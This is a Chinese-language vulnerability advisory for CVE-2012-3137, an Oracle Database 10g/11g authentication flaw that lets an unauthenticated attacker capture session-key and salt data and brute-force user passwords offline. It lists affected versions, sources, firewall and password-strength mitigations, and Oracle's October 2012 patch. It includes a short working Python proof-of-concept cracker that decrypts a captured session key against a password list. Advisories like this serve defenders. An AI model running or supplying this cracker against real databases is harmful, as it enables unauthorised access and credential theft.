Oracle Database身份验证协议离线口令破解漏洞(CVE-2012-3137)


发布日期:2012-09-24
更新日期:2012-10-20

受影响系统:
Oracle database server 10.2.0.4
Oracle database server 10.2.0.3
Oracle database server  11.2.0.3
Oracle database server  11.2.0.2
Oracle database server  11.1.0.7
Oracle database server  10.2.0.5
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 55651
CVE ID: CVE-2012-3137

Oracle Database是甲骨文公司的一款关系数据库管理系统。

Oracle Database 10g/11g身份验证协议实现中存在一个设计缺陷,攻击者无需认证即可远程获取数据库用户密码哈希相关数据,从而可以离线暴力破解用户密码,进一步控制数据库系统。

当客户端连接Oracle数据库在进行身份验证时,会首先提交登录用户名信息。数据库服务端会根据用户名查找该用户的口令哈希和salt值,并组合加密生成一个密钥,然后用这个密钥对一个随机数进行AES加密生成会话密钥(Session Key),并将其和用户口令Salt值一起发给客户端。由于在随机数生成机制上存在问题,导致攻击者可以得知部分明文,从而可以通过对会话密钥进行解密的方式来离线暴力猜测用户密码。

由于用户仅仅需要提交用户名信息就可以得到进行离线暴力破解的足够信息,无需完成整个身份认证过程,数据库服务器端不会留下任何口令猜测的记录。如果某些数据库用户的口令设置比较薄弱,就很容易被攻击者用来登录Oracle数据库。

<*来源:Esteban Martinez Fayo
 
  链接:http://arstechnica.com/security/2012/09/oracle-database-stealth-password-cracking-vulnerability/
        http://threatpost.com/en_us/blogs/flaw-oracle-logon-protocol-leads-easy-password-cracking-092012
        http://www.exploit-db.com/exploits/22069/
        http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#-*-coding:utf8 -*-
     
    import hashlib
    from Crypto.Cipher import AES
     
    def decrypt(session,salt,password):
            pass_hash = hashlib.sha1(password+salt)
     
            #......... ..... ..... .......... .. 24 ....
            key = pass_hash.digest() + '\x00\x00\x00\x00'
            decryptor = AES.new(key,AES.MODE_CBC)
            plain = decryptor.decrypt(session)
            return plain
     
    #............. ........... ...... 48 ....
    session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
     
    #.... 10 ....
    salt_hex = 'A7193E546377EC56639E'
     
    passwords = ['test','password','oracle','demo']
     
    for password in passwords:
            session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
            print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
            if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
                    print 'PASSWORD IS "%s"' % password
                    break

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在主机或边界防火墙设备上只允许可信任IP访问oracle数据库主机和端口(TCP/1521)。
* 提高Oracle数据库中各个用户的口令强度,避免易被猜测的薄弱口令。

厂商补丁:

Oracle
------
Oracle已经在2012年10月16日发布了一个安全公告(cpuoct2012-1515893)以及相应补丁修复此漏洞。建议Oracle数据库用户尽快下载安装升级包或联系Oracle技术支持人员进行升级。


cpuoct2012-1515893:Oracle Critical Patch Update Advisory - October 2012

链接:http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html

相关内容